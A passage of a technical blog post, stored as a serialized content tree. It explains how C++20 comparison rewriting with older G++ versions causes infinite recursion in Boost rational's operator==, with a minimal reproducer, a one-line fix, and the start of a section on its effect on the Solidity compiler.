T2);",{"type":21,"tag":75,"props":91420,"children":91421},{},[91422,91424,91430],{"type":27,"value":91423},"Then ",{"type":21,"tag":194,"props":91425,"children":91427},{"className":91426},[],[91428],{"type":27,"value":91429},"T2 == T1",{"type":27,"value":91431}," may call the same function by reversing the arguments.",{"type":21,"tag":30,"props":91433,"children":91434},{},[91435,91437,91442,91443,91448,91450,91456,91458,91463],{"type":27,"value":91436},"This rewrite is ",{"type":21,"tag":6137,"props":91438,"children":91439},{},[91440],{"type":27,"value":91441},"recursive",{"type":27,"value":16136},{"type":21,"tag":194,"props":91444,"children":91446},{"className":91445},[],[91447],{"type":27,"value":90629},{"type":27,"value":91449}," becomes ",{"type":21,"tag":194,"props":91451,"children":91453},{"className":91452},[],[91454],{"type":27,"value":91455},"b == a",{"type":27,"value":91457},", which becomes ",{"type":21,"tag":194,"props":91459,"children":91461},{"className":91460},[],[91462],{"type":27,"value":90629},{"type":27,"value":91464}," again, and so on — if not handled carefully.",{"type":21,"tag":30,"props":91466,"children":91467},{},[91468],{"type":27,"value":91469},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":21,"tag":19590,"props":91471,"children":91472},{},[],{"type":21,"tag":22,"props":91474,"children":91476},{"id":91475},"part-iii-the-boost-trapdoor",[91477],{"type":27,"value":91478},"Part III: The Boost Trapdoor",{"type":21,"tag":30,"props":91480,"children":91481},{},[91482,91484,91490,91492,91497],{"type":27,"value":91483},"The old Boost ",{"type":21,"tag":194,"props":91485,"children":91487},{"className":91486},[],[91488],{"type":27,"value":91489},"rational",{"type":27,"value":91491}," class (prior to v1.75) defined both member function and non-member function of ",{"type":21,"tag":194,"props":91493,"children":91495},{"className":91494},[],[91496],{"type":27,"value":90637},{"type":27,"value":185},{"type":21,"tag":187,"props":91499,"children":91501},{"code":91500,"language":29914,"meta":7,"className":29912,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n ...\npublic:\n ...\n \n template \u003Cclass T>\n BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n {\n return ((den == IntType(1)) && (num == i));\n }\n ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n return a == b; \n}\n",[91502],{"type":21,"tag":194,"props":91503,"children":91504},{"__ignoreMap":7},[91505,91540,91563,91575,91582,91589,91596,91603,91610,91633,91721,91728,91779,91786,91793,91800,91807,91842,91850,91878,91917,91982,91989,92009],{"type":21,"tag":198,"props":91506,"children":91507},{"class":200,"line":201},[91508,91512,91516,91520,91524,91528,91532,91536],{"type":21,"tag":198,"props":91509,"children":91510},{"style":249},[91511],{"type":27,"value":66595},{"type":21,"tag":198,"props":91513,"children":91514},{"style":211},[91515],{"type":27,"value":9529},{"type":21,"tag":198,"props":91517,"children":91518},{"style":249},[91519],{"type":27,"value":70790},{"type":21,"tag":198,"props":91521,"children":91522},{"style":1966},[91523],{"type":27,"value":91011},{"type":21,"tag":198,"props":91525,"children":91526},{"style":211},[91527],{"type":27,"value":828},{"type":21,"tag":198,"props":91529,"children":91530},{"style":249},[91531],{"type":27,"value":70790},{"type":21,"tag":198,"props":91533,"children":91534},{"style":1966},[91535],{"type":27,"value":90830},{"type":21,"tag":198,"props":91537,"children":91538},{"style":211},[91539],{"type":27,"value":3203},{"type":21,"tag":198,"props":91541,"children":91542},{"class":200,"line":217},[91543,91547,91551,91555,91559],{"type":21,"tag":198,"props":91544,"children":91545},{"style":249},[91546],{"type":27,"value":66595},{"type":21,"tag":198,"props":91548,"children":91549},{"style":211},[91550],{"type":27,"value":9529},{"type":21,"tag":198,"props":91552,"children":91553},{"style":249},[91554],{"type":27,"value":90825},{"type":21,"tag":198,"props":91556,"children":91557},{"style":1966},[91558],{"type":27,"value":90830},{"type":21,"tag":198,"props":91560,"children":91561},{"style":211},[91562],{"type":27,"value":3203},{"type":21,"tag":198,"props":91564,"children":91565},{"class":200,"line":236},[91566,91570],{"type":21,"tag":198,"props":91567,"children":91568},{"style":249},[91569],{"type":27,"value":70790},{"type":21,"tag":198,"props":91571,"children":91572},{"style":1966},[91573],{"type":27,"value":91574}," rational\n",{"type":21,"tag":198,"props":91576,"children":91577},{"class":200,"line":260},[91578],{"type":21,"tag":198,"props":91579,"children":91580},{"style":211},[91581],{"type":27,"value":11689},{"type":21,"tag":198,"props":91583,"children":91584},{"class":200,"line":281},[91585],{"type":21,"tag":198,"props":91586,"children":91587},{"style":211},[91588],{"type":27,"value":21134},{"type":21,"tag":198,"props":91590,"children":91591},{"class":200,"line":302},[91592],{"type":21,"tag":198,"props":91593,"children":91594},{"style":249},[91595],{"type":27,"value":90858},{"type":21,"tag":198,"props":91597,"children":91598},{"class":200,"line":323},[91599],{"type":21,"tag":198,"props":91600,"children":91601},{"style":211},[91602],{"type":27,"value":21134},{"type":21,"tag":198,"props":91604,"children":91605},{"class":200,"line":344},[91606],{"type":21,"tag":198,"props":91607,"children":91608},{"style":211},[91609],{"type":27,"value":62164},{"type":21,"tag":198,"props":91611,"children":91612},{"class":200,"line":365},[91613,91617,91621,91625,91629],{"type":21,"tag":198,"props":91614,"children":91615},{"style":249},[91616],{"type":27,"value":90866},{"type":21,"tag":198,"props":91618,"children":91619},{"style":211},[91620],{"type":27,"value":9529},{"type":21,"tag":198,"props":91622,"children":91623},{"style":249},[91624],{"type":27,"value":70790},{"type":21,"tag":198,"props":91626,"children":91627},{"style":1966},[91628],{"type":27,"value":6731},{"type":21,"tag":198,"props":91630,"children":91631},{"style":211},[91632],{"type":27,"value":3203},{"type":21,"tag":198,"props":91634,"children":91635},{"class":200,"line":386},[91636,91641,91645,91650,91654,91658,91662,91667,91671,91675,91679,91683,91687,91691,91696,91700,91704,91708,91712,91716],{"type":21,"tag":198,"props":91637,"children":91638},{"style":211},[91639],{"type":27,"value":91640}," BOOST_CONSTEXPR ",{"type":21,"tag":198,"props":91642,"children":91643},{"style":249},[91644],{"type":27,"value":90825},{"type":21,"tag":198,"props":91646,"children":91647},{"style":211},[91648],{"type":27,"value":91649}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":21,"tag":198,"props":91651,"children":91652},{"style":1966},[91653],{"type":27,"value":6800},{"type":21,"tag":198,"props":91655,"children":91656},{"style":211},[91657],{"type":27,"value":828},{"type":21,"tag":198,"props":91659,"children":91660},{"style":1966},[91661],{"type":27,"value":91059},{"type":21,"tag":198,"props":91663,"children":91664},{"style":211},[91665],{"type":27,"value":91666},">::",{"type":21,"tag":198,"props":91668,"children":91669},{"style":1966},[91670],{"type":27,"value":39910},{"type":21,"tag":198,"props":91672,"children":91673},{"style":211},[91674],{"type":27,"value":828},{"type":21,"tag":198,"props":91676,"children":91677},{"style":249},[91678],{"type":27,"value":30486},{"type":21,"tag":198,"props":91680,"children":91681},{"style":211},[91682],{"type":27,"value":91666},{"type":21,"tag":198,"props":91684,"children":91685},{"style":1966},[91686],{"type":27,"value":33535},{"type":21,"tag":198,"props":91688,"children":91689},{"style":249},[91690],{"type":27,"value":90894},{"type":21,"tag":198,"props":91692,"children":91693},{"style":211},[91694],{"type":27,"value":91695},"== (",{"type":21,"tag":198,"props":91697,"children":91698},{"style":249},[91699],{"type":27,"value":2648},{"type":21,"tag":198,"props":91701,"children":91702},{"style":1966},[91703],{"type":27,"value":6731},{"type":21,"tag":198,"props":91705,"children":91706},{"style":249},[91707],{"type":27,"value":3917},{"type":21,"tag":198,"props":91709,"children":91710},{"style":226},[91711],{"type":27,"value":4203},{"type":21,"tag":198,"props":91713,"children":91714},{"style":211},[91715],{"type":27,"value":1541},{"type":21,"tag":198,"props":91717,"children":91718},{"style":249},[91719],{"type":27,"value":91720},"const\n",{"type":21,"tag":198,"props":91722,"children":91723},{"class":200,"line":408},[91724],{"type":21,"tag":198,"props":91725,"children":91726},{"style":211},[91727],{"type":27,"value":29989},{"type":21,"tag":198,"props":91729,"children":91730},{"class":200,"line":429},[91731,91736,91741,91745,91749,91753,91757,91761,91765,91770,91774],{"type":21,"tag":198,"props":91732,"children":91733},{"style":640},[91734],{"type":27,"value":91735}," return",{"type":21,"tag":198,"props":91737,"children":91738},{"style":211},[91739],{"type":27,"value":91740}," ((den ",{"type":21,"tag":198,"props":91742,"children":91743},{"style":683},[91744],{"type":27,"value":9386},{"type":21,"tag":198,"props":91746,"children":91747},{"style":698},[91748],{"type":27,"value":90830},{"type":21,"tag":198,"props":91750,"children":91751},{"style":211},[91752],{"type":27,"value":706},{"type":21,"tag":198,"props":91754,"children":91755},{"style":2540},[91756],{"type":27,"value":134},{"type":21,"tag":198,"props":91758,"children":91759},{"style":211},[91760],{"type":27,"value":9647},{"type":21,"tag":198,"props":91762,"children":91763},{"style":683},[91764],{"type":27,"value":73577},{"type":21,"tag":198,"props":91766,"children":91767},{"style":211},[91768],{"type":27,"value":91769}," (num ",{"type":21,"tag":198,"props":91771,"children":91772},{"style":683},[91773],{"type":27,"value":9386},{"type":21,"tag":198,"props":91775,"children":91776},{"style":211},[91777],{"type":27,"value":91778}," i));\n",{"type":21,"tag":198,"props":91780,"children":91781},{"class":200,"line":450},[91782],{"type":21,"tag":198,"props":91783,"children":91784},{"style":211},[91785],{"type":27,"value":880},{"type":21,"tag":198,"props":91787,"children":91788},{"class":200,"line":468},[91789],{"type":21,"tag":198,"props":91790,"children":91791},{"style":211},[91792],{"type":27,"value":21134},{"type":21,"tag":198,"props":91794,"children":91795},{"class":200,"line":477},[91796],{"type":21,"tag":198,"props":91797,"children":91798},{"style":211},[91799],{"type":27,"value":1120},{"type":21,"tag":198,"props":91801,"children":91802},{"class":200,"line":494},[91803],{"type":21,"tag":198,"props":91804,"children":91805},{"emptyLinePlaceholder":16},[91806],{"type":27,"value":1283},{"type":21,"tag":198,"props":91808,"children":91809},{"class":200,"line":515},[91810,91814,91818,91822,91826,91830,91834,91838],{"type":21,"tag":198,"props":91811,"children":91812},{"style":249},[91813],{"type":27,"value":66595},{"type":21,"tag":198,"props":91815,"children":91816},{"style":211},[91817],{"type":27,"value":9529},{"type":21,"tag":198,"props":91819,"children":91820},{"style":249},[91821],{"type":27,"value":70790},{"type":21,"tag":198,"props":91823,"children":91824},{"style":1966},[91825],{"type":27,"value":91011},{"type":21,"tag":198,"props":91827,"children":91828},{"style":211},[91829],{"type":27,"value":828},{"type":21,"tag":198,"props":91831,"children":91832},{"style":249},[91833],{"type":27,"value":70790},{"type":21,"tag":198,"props":91835,"children":91836},{"style":1966},[91837],{"type":27,"value":90830},{"type":21,"tag":198,"props":91839,"children":91840},{"style":211},[91841],{"type":27,"value":3203},{"type":21,"tag":198,"props":91843,"children":91844},{"class":200,"line":4484},[91845],{"type":21,"tag":198,"props":91846,"children":91847},{"style":211},[91848],{"type":27,"value":91849},"BOOST_CONSTEXPR\n",{"type":21,"tag":198,"props":91851,"children":91852},{"class":200,"line":4493},[91853,91858,91863,91868,91873],{"type":21,"tag":198,"props":91854,"children":91855},{"style":249},[91856],{"type":27,"value":91857},"inline",{"type":21,"tag":198,"props":91859,"children":91860},{"style":249},[91861],{"type":27,"value":91862}," typename",{"type":21,"tag":198,"props":91864,"children":91865},{"style":211},[91866],{"type":27,"value":91867}," boost::",{"type":21,"tag":198,"props":91869,"children":91870},{"style":1966},[91871],{"type":27,"value":91872},"enable_if_c",{"type":21,"tag":198,"props":91874,"children":91875},{"style":683},[91876],{"type":27,"value":91877}," \u003C\n",{"type":21,"tag":198,"props":91879,"children":91880},{"class":200,"line":4561},[91881,91886,91891,91895,91899,91904,91908,91912],{"type":21,"tag":198,"props":91882,"children":91883},{"style":211},[91884],{"type":27,"value":91885}," rational_detail::is_compatible_integer\u003C",{"type":21,"tag":198,"props":91887,"children":91888},{"style":1966},[91889],{"type":27,"value":91890},"Arg",{"type":21,"tag":198,"props":91892,"children":91893},{"style":211},[91894],{"type":27,"value":828},{"type":21,"tag":198,"props":91896,"children":91897},{"style":1966},[91898],{"type":27,"value":91059},{"type":21,"tag":198,"props":91900,"children":91901},{"style":211},[91902],{"type":27,"value":91903},">::value, ",{"type":21,"tag":198,"props":91905,"children":91906},{"style":249},[91907],{"type":27,"value":30486},{"type":21,"tag":198,"props":91909,"children":91910},{"style":683},[91911],{"type":27,"value":11270},{"type":21,"tag":198,"props":91913,"children":91914},{"style":211},[91915],{"type":27,"value":91916},"::type\n",{"type":21,"tag":198,"props":91918,"children":91919},{"class":200,"line":4569},[91920,91925,91930,91934,91938,91942,91946,91950,91954,91958,91962,91966,91970,91974,91978],{"type":21,"tag":198,"props":91921,"children":91922},{"style":249},[91923],{"type":27,"value":91924}," operator",{"type":21,"tag":198,"props":91926,"children":91927},{"style":211},[91928],{"type":27,"value":91929}," == (",{"type":21,"tag":198,"props":91931,"children":91932},{"style":249},[91933],{"type":27,"value":2648},{"type":21,"tag":198,"props":91935,"children":91936},{"style":1966},[91937],{"type":27,"value":91011},{"type":21,"tag":198,"props":91939,"children":91940},{"style":249},[91941],{"type":27,"value":3917},{"type":21,"tag":198,"props":91943,"children":91944},{"style":226},[91945],{"type":27,"value":91092},{"type":21,"tag":198,"props":91947,"children":91948},{"style":211},[91949],{"type":27,"value":828},{"type":21,"tag":198,"props":91951,"children":91952},{"style":249},[91953],{"type":27,"value":2648},{"type":21,"tag":198,"props":91955,"children":91956},{"style":1966},[91957],{"type":27,"value":90846},{"type":21,"tag":198,"props":91959,"children":91960},{"style":211},[91961],{"type":27,"value":3159},{"type":21,"tag":198,"props":91963,"children":91964},{"style":1966},[91965],{"type":27,"value":91059},{"type":21,"tag":198,"props":91967,"children":91968},{"style":211},[91969],{"type":27,"value":11270},{"type":21,"tag":198,"props":91971,"children":91972},{"style":249},[91973],{"type":27,"value":3917},{"type":21,"tag":198,"props":91975,"children":91976},{"style":226},[91977],{"type":27,"value":90218},{"type":21,"tag":198,"props":91979,"children":91980},{"style":211},[91981],{"type":27,"value":789},{"type":21,"tag":198,"props":91983,"children":91984},{"class":200,"line":4599},[91985],{"type":21,"tag":198,"props":91986,"children":91987},{"style":211},[91988],{"type":27,"value":11689},{"type":21,"tag":198,"props":91990,"children":91991},{"class":200,"line":4607},[91992,91996,92000,92004],{"type":21,"tag":198,"props":91993,"children":91994},{"style":640},[91995],{"type":27,"value":40112},{"type":21,"tag":198,"props":91997,"children":91998},{"style":211},[91999],{"type":27,"value":17566},{"type":21,"tag":198,"props":92001,"children":92002},{"style":683},[92003],{"type":27,"value":9386},{"type":21,"tag":198,"props":92005,"children":92006},{"style":211},[92007],{"type":27,"value":92008}," b; \n",{"type":21,"tag":198,"props":92010,"children":92011},{"class":200,"line":4638},[92012],{"type":21,"tag":198,"props":92013,"children":92014},{"style":211},[92015],{"type":27,"value":1120},{"type":21,"tag":30,"props":92017,"children":92018},{},[92019,92021,92027],{"type":27,"value":92020},"This was designed under C++17 semantics. Back then, ",{"type":21,"tag":194,"props":92022,"children":92024},{"className":92023},[],[92025],{"type":27,"value":92026},"rhs == lhs",{"type":27,"value":92028}," would fall back to member overloads if available. All good.",{"type":21,"tag":30,"props":92030,"children":92031},{},[92032,92034,92039,92040,92046],{"type":27,"value":92033},"But under ",{"type":21,"tag":194,"props":92035,"children":92037},{"className":92036},[],[92038],{"type":27,"value":90583},{"type":27,"value":22297},{"type":21,"tag":194,"props":92041,"children":92043},{"className":92042},[],[92044],{"type":27,"value":92045},"G++ \u003C 14",{"type":27,"value":185},{"type":21,"tag":138,"props":92048,"children":92049},{},[92050,92055,92060,92065],{"type":21,"tag":75,"props":92051,"children":92052},{},[92053],{"type":27,"value":92054},"G++ incorrectly chooses this non-member operator first",{"type":21,"tag":75,"props":92056,"children":92057},{},[92058],{"type":27,"value":92059},"C++20 reverses the comparison",{"type":21,"tag":75,"props":92061,"children":92062},{},[92063],{"type":27,"value":92064},"Which calls the same function again with arguments flipped",{"type":21,"tag":75,"props":92066,"children":92067},{},[92068],{"type":27,"value":92069},"And so on...",{"type":21,"tag":30,"props":92071,"children":92072},{},[92073,92075,92080],{"type":27,"value":92074},"This creates ",{"type":21,"tag":6137,"props":92076,"children":92077},{},[92078],{"type":27,"value":92079},"infinite recursion",{"type":27,"value":658},{"type":21,"tag":30,"props":92082,"children":92083},{},[92084],{"type":27,"value":92085},"A minimal example:",{"type":21,"tag":187,"props":92087,"children":92089},{"code":92088,"language":29914,"meta":7,"className":29912,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n boost::rational\u003Cint> r;\n return r == 0;\n}\n",[92090],{"type":21,"tag":194,"props":92091,"children":92092},{"__ignoreMap":7},[92093,92101,92113,92120,92135,92159,92182],{"type":21,"tag":198,"props":92094,"children":92095},{"class":200,"line":201},[92096],{"type":21,"tag":198,"props":92097,"children":92098},{"style":1233},[92099],{"type":27,"value":92100},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":21,"tag":198,"props":92102,"children":92103},{"class":200,"line":217},[92104,92108],{"type":21,"tag":198,"props":92105,"children":92106},{"style":640},[92107],{"type":27,"value":90797},{"type":21,"tag":198,"props":92109,"children":92110},{"style":205},[92111],{"type":27,"value":92112}," \u003Cboost/rational.hpp>\n",{"type":21,"tag":198,"props":92114,"children":92115},{"class":200,"line":236},[92116],{"type":21,"tag":198,"props":92117,"children":92118},{"emptyLinePlaceholder":16},[92119],{"type":27,"value":1283},{"type":21,"tag":198,"props":92121,"children":92122},{"class":200,"line":260},[92123,92127,92131],{"type":21,"tag":198,"props":92124,"children":92125},{"style":249},[92126],{"type":27,"value":19841},{"type":21,"tag":198,"props":92128,"children":92129},{"style":698},[92130],{"type":27,"value":91162},{"type":21,"tag":198,"props":92132,"children":92133},{"style":211},[92134],{"type":27,"value":16539},{"type":21,"tag":198,"props":92136,"children":92137},{"class":200,"line":281},[92138,92143,92147,92151,92155],{"type":21,"tag":198,"props":92139,"children":92140},{"style":211},[92141],{"type":27,"value":92142}," boost::rational",{"type":21,"tag":198,"props":92144,"children":92145},{"style":683},[92146],{"type":27,"value":3159},{"type":21,"tag":198,"props":92148,"children":92149},{"style":249},[92150],{"type":27,"value":19841},{"type":21,"tag":198,"props":92152,"children":92153},{"style":683},[92154],{"type":27,"value":11270},{"type":21,"tag":198,"props":92156,"children":92157},{"style":211},[92158],{"type":27,"value":91191},{"type":21,"tag":198,"props":92160,"children":92161},{"class":200,"line":302},[92162,92166,92170,92174,92178],{"type":21,"tag":198,"props":92163,"children":92164},{"style":640},[92165],{"type":27,"value":1478},{"type":21,"tag":198,"props":92167,"children":92168},{"style":211},[92169],{"type":27,"value":91203},{"type":21,"tag":198,"props":92171,"children":92172},{"style":683},[92173],{"type":27,"value":9386},{"type":21,"tag":198,"props":92175,"children":92176},{"style":2540},[92177],{"type":27,"value":3855},{"type":21,"tag":198,"props":92179,"children":92180},{"style":211},[92181],{"type":27,"value":1483},{"type":21,"tag":198,"props":92183,"children":92184},{"class":200,"line":323},[92185],{"type":21,"tag":198,"props":92186,"children":92187},{"style":211},[92188],{"type":27,"value":1120},{"type":21,"tag":30,"props":92190,"children":92191},{},[92192],{"type":27,"value":92193},"Expected output: nothing.",{"type":21,"tag":30,"props":92195,"children":92196},{},[92197],{"type":27,"value":92198},"Actual: segmentation fault (stack overflow).",{"type":21,"tag":30,"props":92200,"children":92201},{},[92202,92204,92211],{"type":27,"value":92203},"This exact pattern was ",{"type":21,"tag":34,"props":92205,"children":92208},{"href":92206,"rel":92207},"https://github.com/boostorg/rational/issues/43",[38],[92209],{"type":27,"value":92210},"reported and fixed in Boost rational",{"type":27,"value":92212},", but only in version 1.75+.",{"type":21,"tag":30,"props":92214,"children":92215},{},[92216],{"type":27,"value":92217},"Here’s the one-line fix:",{"type":21,"tag":187,"props":92219,"children":92221},{"code":92220,"language":2530,"meta":7,"className":2528,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n- return a == b;\n+ return a.operator==(b);\n}\n",[92222],{"type":21,"tag":194,"props":92223,"children":92224},{"__ignoreMap":7},[92225,92233,92240,92248,92256,92264,92271,92279,92287],{"type":21,"tag":198,"props":92226,"children":92227},{"class":200,"line":201},[92228],{"type":21,"tag":198,"props":92229,"children":92230},{"style":211},[92231],{"type":27,"value":92232},"template \u003Cclass Arg, class IntType>\n",{"type":21,"tag":198,"props":92234,"children":92235},{"class":200,"line":217},[92236],{"type":21,"tag":198,"props":92237,"children":92238},{"style":211},[92239],{"type":27,"value":91849},{"type":21,"tag":198,"props":92241,"children":92242},{"class":200,"line":236},[92243],{"type":21,"tag":198,"props":92244,"children":92245},{"style":211},[92246],{"type":27,"value":92247},"inline typename boost::enable_if_c \u003C\n",{"type":21,"tag":198,"props":92249,"children":92250},{"class":200,"line":260},[92251],{"type":21,"tag":198,"props":92252,"children":92253},{"style":211},[92254],{"type":27,"value":92255}," rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":21,"tag":198,"props":92257,"children":92258},{"class":200,"line":281},[92259],{"type":21,"tag":198,"props":92260,"children":92261},{"style":211},[92262],{"type":27,"value":92263}," operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":21,"tag":198,"props":92265,"children":92266},{"class":200,"line":302},[92267],{"type":21,"tag":198,"props":92268,"children":92269},{"style":211},[92270],{"type":27,"value":11689},{"type":21,"tag":198,"props":92272,"children":92273},{"class":200,"line":323},[92274],{"type":21,"tag":198,"props":92275,"children":92276},{"style":205},[92277],{"type":27,"value":92278},"- return a == b;\n",{"type":21,"tag":198,"props":92280,"children":92281},{"class":200,"line":344},[92282],{"type":21,"tag":198,"props":92283,"children":92284},{"style":2540},[92285],{"type":27,"value":92286},"+ return a.operator==(b);\n",{"type":21,"tag":198,"props":92288,"children":92289},{"class":200,"line":365},[92290],{"type":21,"tag":198,"props":92291,"children":92292},{"style":211},[92293],{"type":27,"value":1120},{"type":21,"tag":30,"props":92295,"children":92296},{},[92297,92299,92304,92306,92311],{"type":27,"value":92298},"Instead of calling ",{"type":21,"tag":194,"props":92300,"children":92302},{"className":92301},[],[92303],{"type":27,"value":90629},{"type":27,"value":92305}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":21,"tag":194,"props":92307,"children":92309},{"className":92308},[],[92310],{"type":27,"value":90637},{"type":27,"value":658},{"type":21,"tag":30,"props":92313,"children":92314},{},[92315],{"type":27,"value":92316},"This prevents C++20 from triggering recursive rewrites.",{"type":21,"tag":19590,"props":92318,"children":92319},{},[],{"type":21,"tag":22,"props":92321,"children":92323},{"id":92322},"part-iv-how-this-breaks-solidity",[92324],{"type":27,"value":92325},"Part IV: How This Breaks Solidity",{"type":21,"tag":30,"props":92327,"children":92328},{},[92329,92331,92336],{"type":27,"value":92330},"The Solidity codebase uses ",{"type":21,"tag":194,"props":92332,"children":92334},{"className":92333},[],[92335],{"type":27,"value":90484},{"type":27,"value":92337}," to represent certain compile-time constant expressions.",{"type":21,"tag":30,"props":92339,"children":92340},{},[92341,92343,92349],{"type":27,"value":92342},"One snippet that can trigger this issue appears in ",{"type":21,"tag":194,"props":92344,"children":92346},{"className":92345},[],[92347],{"type":27,"value":92348},"DeclarationTypeChecker::endVisit",{"type":27,"value":185},{"type":21,"tag":187,"props":92351,"children":92353},{"code":92352,"language":29914,"meta":7,"className":29912,"style":7},"if (Expression const* length = _typeName.length()) {\n std::optional\u003Crational> lengthValue;\n\n if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n ...\n else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n lengthValue = value->value;\n\n if (!lengthValue)\n ...\n else if (*lengthValue == 0) // \u003C-- Infinite recursion happens here\n ...\n}\n",[92354],{"type":21,"tag":194,"props":92355,"children":92356},{"__ignoreMap":7},[92357,92404,92429,92436,92514,92521,92574,92602,92609,92629,92636,92676,92683],{"type":21,"tag":198,"props":92358,"children":92359},{"class":200,"line":201},[92360,92364,92369,92373,92377,92382,92386,92391,92395,92399],{"type":21,"tag":198,"props":92361,"children":92362},{"style":640},[92363],{"type":27,"value":16382},{"type":21,"tag":198,"props":92365,"children":92366},{"style":211},[92367],{"type":27,"value":92368}," (Expression ",{"type":21,"tag":198,"props":92370,"children":92371},{"style":249},[92372],{"type":27,"value":2648},{"type":21,"tag":198,"props":92374,"children":92375},{"style":683},[92376],{"type":27,"value":5383},{"type":21,"tag":198,"props":92378,"children":92379},{"style":211},[92380],{"type":27,"value":92381}," length ",{"type":21,"tag":198,"props":92383,"children":92384},{"style":683},[92385],{"type":27,"value":3174},{"type":21,"tag":198,"props":92387,"children":92388},{"style":226},[92389],{"type":27,"value":92390}," _typeName",{"type":21,"tag":198,"props":92392,"children":92393},{"style":211},[92394],{"type":27,"value":658},{"type":21,"tag":198,"props":92396,"children":92397},{"style":698},[92398],{"type":27,"value":9314},{"type":21,"tag":198,"props":92400,"children":92401},{"style":211},[92402],{"type":27,"value":92403},"()) {\n",{"type":21,"tag":198,"props":92405,"children":92406},{"class":200,"line":217},[92407,92412,92416,92420,92424],{"type":21,"tag":198,"props":92408,"children":92409},{"style":211},[92410],{"type":27,"value":92411}," std::optional",{"type":21,"tag":198,"props":92413,"children":92414},{"style":683},[92415],{"type":27,"value":3159},{"type":21,"tag":198,"props":92417,"children":92418},{"style":211},[92419],{"type":27,"value":91489},{"type":21,"tag":198,"props":92421,"children":92422},{"style":683},[92423],{"type":27,"value":11270},{"type":21,"tag":198,"props":92425,"children":92426},{"style":211},[92427],{"type":27,"value":92428}," lengthValue;\n",{"type":21,"tag":198,"props":92430,"children":92431},{"class":200,"line":236},[92432],{"type":21,"tag":198,"props":92433,"children":92434},{"emptyLinePlaceholder":16},[92435],{"type":27,"value":1283},{"type":21,"tag":198,"props":92437,"children":92438},{"class":200,"line":260},[92439,92443,92447,92451,92455,92459,92463,92467,92471,92476,92480,92484,92488,92492,92496,92501,92505,92509],{"type":21,"tag":198,"props":92440,"children":92441},{"style":640},[92442],{"type":27,"value":643},{"type":21,"tag":198,"props":92444,"children":92445},{"style":211},[92446],{"type":27,"value":648},{"type":21,"tag":198,"props":92448,"children":92449},{"style":226},[92450],{"type":27,"value":9314},{"type":21,"tag":198,"props":92452,"children":92453},{"style":211},[92454],{"type":27,"value":14564},{"type":21,"tag":198,"props":92456,"children":92457},{"style":698},[92458],{"type":27,"value":30964},{"type":21,"tag":198,"props":92460,"children":92461},{"style":211},[92462],{"type":27,"value":30969},{"type":21,"tag":198,"props":92464,"children":92465},{"style":226},[92466],{"type":27,"value":33535},{"type":21,"tag":198,"props":92468,"children":92469},{"style":683},[92470],{"type":27,"value":1819},{"type":21,"tag":198,"props":92472,"children":92473},{"style":226},[92474],{"type":27,"value":92475}," length",{"type":21,"tag":198,"props":92477,"children":92478},{"style":211},[92479],{"type":27,"value":14564},{"type":21,"tag":198,"props":92481,"children":92482},{"style":698},[92483],{"type":27,"value":30964},{"type":21,"tag":198,"props":92485,"children":92486},{"style":211},[92487],{"type":27,"value":30969},{"type":21,"tag":198,"props":92489,"children":92490},{"style":226},[92491],{"type":27,"value":33535},{"type":21,"tag":198,"props":92493,"children":92494},{"style":211},[92495],{"type":27,"value":14564},{"type":21,"tag":198,"props":92497,"children":92498},{"style":698},[92499],{"type":27,"value":92500},"category",{"type":21,"tag":198,"props":92502,"children":92503},{"style":211},[92504],{"type":27,"value":14850},{"type":21,"tag":198,"props":92506,"children":92507},{"style":683},[92508],{"type":27,"value":9386},{"type":21,"tag":198,"props":92510,"children":92511},{"style":211},[92512],{"type":27,"value":92513}," Type::Category::RationalNumber)\n",{"type":21,"tag":198,"props":92515,"children":92516},{"class":200,"line":281},[92517],{"type":21,"tag":198,"props":92518,"children":92519},{"style":211},[92520],{"type":27,"value":82224},{"type":21,"tag":198,"props":92522,"children":92523},{"class":200,"line":302},[92524,92529,92533,92538,92542,92547,92551,92556,92560,92565,92569],{"type":21,"tag":198,"props":92525,"children":92526},{"style":640},[92527],{"type":27,"value":92528}," else",{"type":21,"tag":198,"props":92530,"children":92531},{"style":640},[92532],{"type":27,"value":16591},{"type":21,"tag":198,"props":92534,"children":92535},{"style":211},[92536],{"type":27,"value":92537}," (std::optional",{"type":21,"tag":198,"props":92539,"children":92540},{"style":683},[92541],{"type":27,"value":3159},{"type":21,"tag":198,"props":92543,"children":92544},{"style":211},[92545],{"type":27,"value":92546},"ConstantEvaluator::TypedRational",{"type":21,"tag":198,"props":92548,"children":92549},{"style":683},[92550],{"type":27,"value":11270},{"type":21,"tag":198,"props":92552,"children":92553},{"style":211},[92554],{"type":27,"value":92555}," value ",{"type":21,"tag":198,"props":92557,"children":92558},{"style":683},[92559],{"type":27,"value":3174},{"type":21,"tag":198,"props":92561,"children":92562},{"style":211},[92563],{"type":27,"value":92564}," ConstantEvaluator::",{"type":21,"tag":198,"props":92566,"children":92567},{"style":698},[92568],{"type":27,"value":38765},{"type":21,"tag":198,"props":92570,"children":92571},{"style":211},[92572],{"type":27,"value":92573},"(...))\n",{"type":21,"tag":198,"props":92575,"children":92576},{"class":200,"line":323},[92577,92582,92586,92590,92594,92598],{"type":21,"tag":198,"props":92578,"children":92579},{"style":211},[92580],{"type":27,"value":92581}," lengthValue 